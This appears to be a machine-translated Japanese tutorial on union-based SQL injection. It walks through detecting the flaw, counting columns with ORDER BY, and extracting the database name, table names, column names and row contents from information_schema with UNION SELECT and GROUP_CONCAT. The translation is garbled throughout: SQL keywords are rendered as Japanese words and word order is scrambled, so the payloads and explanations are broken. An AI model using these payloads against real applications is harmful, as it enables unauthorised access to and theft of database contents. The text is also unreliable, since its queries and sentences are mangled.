、SQLインジェクションの脆弱性
我々は、バックエンドデータベースへのデータベース操作のためのSQL文でのWebアプリを渡すときに、ユーザーが入力したパラメータは、厳格なフィルタリング処理を受けない場合、悪質な訪問者が実行するために、直接データベースエンジンに特別なSQLステートメントを構築することができ、取得またはデータベース内のデータを変更します。
第二に、どのようにSQLインジェクション?
図1は、か否かが判定されるが、SQLインジェクション
そして1 = 1リターン正しいを
1 = 2がエラーを返します
2、フィールドの数は推測します
Xによってオーダー(デジタル)
3、推測フィールドビット(フィールドの数は、内部と一致しなければなりません)
1 = 2
組合SELCT 1,2,3
4、データベースの名前を推測します
組合は1を選択し、データベース()、3
図5に示すように、ジョイント問い合わせポイントは次のレベル(()GROUP_CONCAT)を表します
データベースの侵入テストのすべての現在のテーブル名を推測。
組合1を選択し、GROUP_CONCAT(TABLE_NAME)、3 INFORMATION_SCHEMA.TABLESからTABLE_SCHEMA = '侵入テスト' 或
組合はTABLE_SCHEMA = INFORMATION_SCHEMA.TABLESから、1、GROUP_CONCAT(TABLE_NAME)を選択し3 データベース()
6、列名が推測
組合はtable_nameは= 'ニュース' information_schema.columnsから、1、GROUP_CONCAT(COLUMN_NAME)を選択3
7、推測データ
組合はニュースから1、GROUP_CONCAT(ID、タイトル、内容)、3を選択します